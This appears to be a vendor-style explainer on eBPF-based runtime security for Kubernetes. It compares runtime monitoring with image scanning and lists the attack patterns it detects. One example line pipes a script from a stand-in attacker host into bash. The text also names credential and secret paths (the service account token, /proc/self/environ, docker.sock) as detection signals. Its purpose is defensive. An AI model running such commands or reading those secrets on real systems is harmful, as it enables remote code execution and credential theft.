Container scanning finds known vulnerabilities in images before they run. It checks for CVE-2023-38545 in your curl binary, flags outdated OpenSSL versions, and fails CI pipelines when critical issues appear. This is useful. It's also incomplete.
Scanning tells you what could be exploited. Runtime security tells you what's actually happening. A container might have zero CVEs and still execute curl -s http://attacker.com/shell.sh | bash at 3am because an application vulnerability let an attacker inject commands.
The gap between "this image is clean" and "this container is behaving correctly" is where most Kubernetes compromises happen. Runtime security fills that gap by watching system calls, network connections, and file operations as they occur.
What Container Scanning Misses
Container scanners parse manifests, check package databases, and correlate against CVE feeds. They're static analysis tools. They don't see runtime behavior.
An attacker who gains code execution through a deserialization bug doesn't need a vulnerable binary. They use the application's own interpreter. A Java deserialization payload runs through java, a Python pickle exploit through python3. Both binaries are legitimate. The scanning tool has no opinion about what those binaries do after the container starts.
The same applies to supply chain attacks that inject malicious code into otherwise clean dependencies. The package version matches upstream. The checksum validates. The scanner sees nothing wrong because it's comparing against the compromised upstream package.
Configuration also matters. A container running as root with privileged: true and host network access is a fundamentally different security posture than an unprivileged container with read-only filesystem. Scanners might warn about capabilities, but they don't watch whether those capabilities get used to mount the host filesystem or access node secrets.
How Kubernetes Runtime Security Works
Kubernetes runtime security monitors containers while they execute. The implementation details matter because they determine what you can see and what overhead you pay.
Most runtime security tools work at one of three layers. Application instrumentation hooks into the language runtime (JVM, .NET CLR, Node.js). This sees application-level events but misses anything in native libraries or spawned processes. It also requires per-language agents and creates compatibility headaches.
Network-based approaches tap traffic at the CNI layer. They see connections and protocol data but can't correlate network activity with specific processes or file operations. A suspicious DNS query doesn't tell you which binary made it or what files that binary touched.
eBPF-based tools attach to the kernel syscall boundary. Every operation a container performs, file access, network socket, process execution, goes through syscalls. An eBPF program can observe all of these with kernel-native visibility.
The technical mechanism: eBPF programs attach to kernel tracepoints and kprobes. When a container process calls execve(), the kernel triggers the eBPF program before executing the syscall. The program captures the binary path, arguments, parent process, and environment. It does the same for connect(), open(), and other syscalls.
Because this happens at the kernel boundary, it sees everything before any application-layer encryption or obfuscation. It doesn't matter if your application uses TLS, the kernel sees the plaintext socket address in the connect() syscall. It doesn't matter if you compress logs, the kernel sees the actual file paths in openat().
eBPF Runtime Security on Kubernetes
Deploying eBPF-based runtime security on Kubernetes means running a DaemonSet. One agent pod per node, each monitoring all containers on that node.
The DaemonSet typically requires a privileged security context because it needs to load eBPF programs into the kernel. This sounds worse than it is. The eBPF verifier ensures programs can't crash the kernel or access arbitrary memory. A buggy eBPF program gets rejected at load time.
The agent needs access to /sys/kernel/debug for older kernels or /sys/fs/bpf for newer ones. It reads container metadata from the Kubernetes API to correlate syscall events with pod names, namespaces, and labels. Without this correlation, you'd see "process 1847 in cgroup /kubepods/pod-abc123" instead of "nginx container in prod-web-1 pod."
CO-RE (Compile Once, Run Everywhere) and BTF (BPF Type Format) eliminate the need for kernel headers at runtime. The agent ships with pre-compiled eBPF bytecode that adapts to different kernel versions automatically. This matters for cloud environments where you don't control the kernel version and nodes might auto-update.
Deployment looks like this: the DaemonSet starts, loads eBPF programs, begins streaming syscall events to userspace, correlates events with Kubernetes metadata, and sends baseline or anomaly data to a backend. The entire process adds 30.9MB average memory footprint per node.
Performance Profile of Kernel-Layer Monitoring
Kernel-level monitoring has a reputation for overhead. eBPF changes the math because programs run in kernel space without context switches.
Measured latency impact on a production workload at 1M queries per second: -5.26% average latency. The monitoring actually reduced latency slightly, likely because eBPF's inline filtering eliminated some kernel overhead. Worst-case latency increased 1-2% for specific request patterns.
CPU overhead stays at 0.1% average across the workload. This includes capturing process execution, file operations, and network events. The efficiency comes from two mechanisms: in-kernel filtering (eBPF programs drop irrelevant events before copying to userspace) and per-CPU ring buffers that avoid lock contention.
Detection latency, the time between a syscall and an alert, averages 0.098 seconds. Worst case is 2.48 seconds, typically for complex events requiring correlation across multiple syscalls. An attacker executing a reverse shell triggers an alert in under 100 milliseconds.
False positive rates decrease with baseline time. At seven days: 0.69%. At 30 days: 0.42%. At 180 days: 0.18%. The system learns normal behavior, process execution patterns for CI/CD jobs, scheduled cron containers, legitimate admin tools. Once the baseline stabilizes, only genuinely anomalous behavior triggers alerts.
What Runtime Monitoring Actually Catches
Behavioral detection at the syscall layer catches attack patterns regardless of the vulnerability used.
Reverse shells look distinctive at the syscall layer. A web server process that suddenly spawns /bin/bash, redirects stdin/stdout to a network socket, and executes shell commands creates a syscall pattern that doesn't match normal web server behavior. The specific CVE that enabled the shell doesn't matter.
Cryptocurrency miners have syscall signatures: sustained CPU usage in unexpected processes, network connections to mining pools, file operations downloading miner binaries. A container that normally handles HTTP requests and suddenly connects to stratum+tcp://xmr-pool.example.com:3333 is suspicious regardless of whether it's running a vulnerable library.
Credential theft shows up as file access patterns. Reading /proc/self/environ to grab environment variables, accessing /var/run/secrets/kubernetes.io/serviceaccount/token, or dumping database connection strings from config files all involve file syscalls. Runtime monitoring sees the access even if the attacker used a memory corruption bug.
Lateral movement requires network syscalls. A database container that starts scanning the internal network with connection attempts to port 22 across multiple IPs has deviated from baseline behavior. The scanning pattern is visible at the kernel layer before any network security tool sees the packets.
Container escapes often involve mounting the host filesystem or accessing the Docker socket. Both require syscalls that normal containerized applications don't make. An mount() syscall from a container process or an attempt to connect to /var/run/docker.sock is a clear signal.
The advantage of kernel-layer detection: it sees the mechanism, not just the artifact. Application logs might miss a shell spawn. Network monitoring might miss encrypted C2 traffic. The kernel sees the actual syscalls that implement the attack.
Kubernetes runtime security isn't a replacement for container scanning. Scanning prevents known vulnerabilities from reaching production. Runtime security detects the attacks that bypass scanning, the zero-days, the supply chain compromises, the configuration exploits. You need both. They cover different parts of the attack surface.